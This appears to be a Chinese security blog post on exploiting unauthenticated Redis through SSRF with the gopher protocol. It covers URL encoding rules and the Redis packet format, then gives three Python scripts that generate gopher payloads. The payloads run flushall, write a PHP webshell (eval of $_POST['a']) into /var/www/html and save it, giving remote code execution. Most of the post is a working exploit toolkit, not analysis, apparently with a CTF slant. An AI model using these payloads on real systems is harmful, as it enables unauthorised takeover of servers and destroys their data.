[web安全] SSRF打Redis未授权 踩坑集

[web安全] SSRF打Redis未授权 踩坑集

Gopher

  • 协议格式:URL:gopher://:/_后接TCP数据流(Redis&Http) 其中 '_' 可以换成其他符号的

  • 需要URL编码的也就是 & ? /r/n POST编码一次 GET编码2次

  • POST必要参数:

POST /PATH HTTP/1.1
host:192.168.0.109
Content-Type:application/x-www-form-urlencoded
Content-Length:11

a=1
  • 使用限制

Redis 数据包

*1:表示一个数组
$2:表示2个字符

gopher发redis数据包大概长这样

gopher://10.114.177.11:6379/_*1
$8
flushall
*4
$6
config
$3
set
$3
dir
$4
/tmp

超级详细的文章

https://zhuanlan.zhihu.com/p/112055947

https://www.cnblogs.com/zzjdbk/p/12970519.html

脚本

第一个脚本需要注意一下
其他的使用都没问题

'''
优点是可以在redis.cmd自定义Redis命令
但是这里有一个小问题,一定要注意改回来
自定义:
set 'webshell' '<?php system("ls");?>'
save
脚本跑完变成了
$13
<?php system(
$8
ls");?>'
*0
原因是引号 
'''

import urllib

HOST = "10.114.177.11"
PORT = "6379"

def ord2hex(string):
    return '%'+'%02x' % (ord(string))
    
exp = "gopher://%s:%s/_" % (HOST, PORT)

for line in open("redis.cmd", "r"):
    word = ""
    str_flag = False
    redis_resps = []
    for char in line:
        if str_flag == True:
            if char == '"' or char == "'":
                str_flag = False
                if word != "":
                    redis_resps.append(word)
                word = ""
            else:
                word += char
        elif word == "" and (char == '"' or char == "'"):
            str_flag = True
        else:
            if char == " ":
                if word != "":
                    redis_resps.append(word)
                word = ""
            elif char == "\n":
                if word != "":
                    redis_resps.append(word)
                word = ""
            else:
                word += char
    #print redis_resps
    tmp_line = '*' + str(len(redis_resps)) + '\r\n'
    for word in redis_resps:
        tmp_line += '$' + str(len(word)) + '\r\n' + word + '\r\n'
    exp += "".join([ord2hex(i) for i in tmp_line])

print(exp)

#很直接
from urllib.parse import *

a = '''GET /hh.php?a=1 HTTP/1.1
Host: 127.0.0.1
'''
a = quote(a)
#print(a)
a=str(a)
print('gopher://127.0.0.1:80/_'+a.replace('%0A','%0d%0A'))
#然后得到的值 拿去url编码
#生成shell
from urllib import parse


#设置一系列变量协议、IP、端口、shell命令、文件以及路径、数据库命令以及payload
protocol="gopher://"
ip="10.114.177.11"
port="6379"
#shell="\n\n<?php system(\"cat /flag\");?>\n\n"eval(\"$_POST['a']\");
shell="\n\n<?php eval(\"$_POST['a']\");?>\n\n"
filename="sbs.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
    "set 1 {}".format(shell.replace(" ","${IFS}")),
    "config set dir {}".format(path),
    "config set dbfilename {}".format(filename),
    "save"
    ]

print(cmd)


if passwd:
   cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"


#将命令格式化输出
def redis_format(arr):
   CRLF="\r\n"
   redis_arr = arr.split(" ")
   cmd=""
   cmd+="*"+str(len(redis_arr))
   for x in redis_arr:
      cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
   cmd+=CRLF
   return cmd


#编码生成exp
if __name__=="__main__":
   for x in cmd:
      payload += parse.quote(redis_format(x))
   print(payload)
posted @ 2021-01-29 16:35  Ky1226  阅读(190)  评论(0)    收藏  举报